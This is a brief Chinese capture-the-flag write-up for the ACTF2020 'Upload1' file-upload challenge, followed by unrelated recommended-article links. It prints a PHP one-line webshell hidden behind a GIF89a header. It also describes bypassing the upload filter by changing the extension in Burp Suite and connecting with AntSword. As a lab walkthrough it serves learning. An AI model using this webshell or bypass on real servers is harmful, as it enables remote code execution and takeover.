1、点开题目链接，页面显示如下，上传test.jpg里面包含一句话木马
GIF89a? <script language="php">eval($_REQUEST[1])</script>
2、使用bp抓包修改后缀，点击发送
3、不关浏览器的代理，在bp中将该包放行
4、用蚁剑连接
5、在根目录中找到flag
[ACTF2020 新生赛]Upload1
不拿flag不改名2024-09-12 13:20
相关推荐
拭心38 分钟前
Google 提供的 Android 端上大模型组件：MediaPipe LLM 介绍带电的小王3 小时前
WhisperKit: Android 端测试 Whisper -- Android手机(Qualcomm GPU)部署音频大模型梦想平凡3 小时前
PHP 微信棋牌开发全解析：高级教程元争栈道4 小时前
webview和H5来实现的android短视频(短剧)音视频播放依赖控件阿甘知识库4 小时前
宝塔面板跨服务器数据同步教程：双机备份零停机元争栈道5 小时前
webview+H5来实现的android短视频(短剧)音视频播放依赖控件资源MuYe5 小时前
Android Hook - 动态加载so库居居飒6 小时前
Android学习(四)-Kotlin编程语言-for循环Henry_He9 小时前
桌面列表小部件不能点击的问题分析工程师老罗9 小时前
Android笔试面试题AI答之Android基础（1）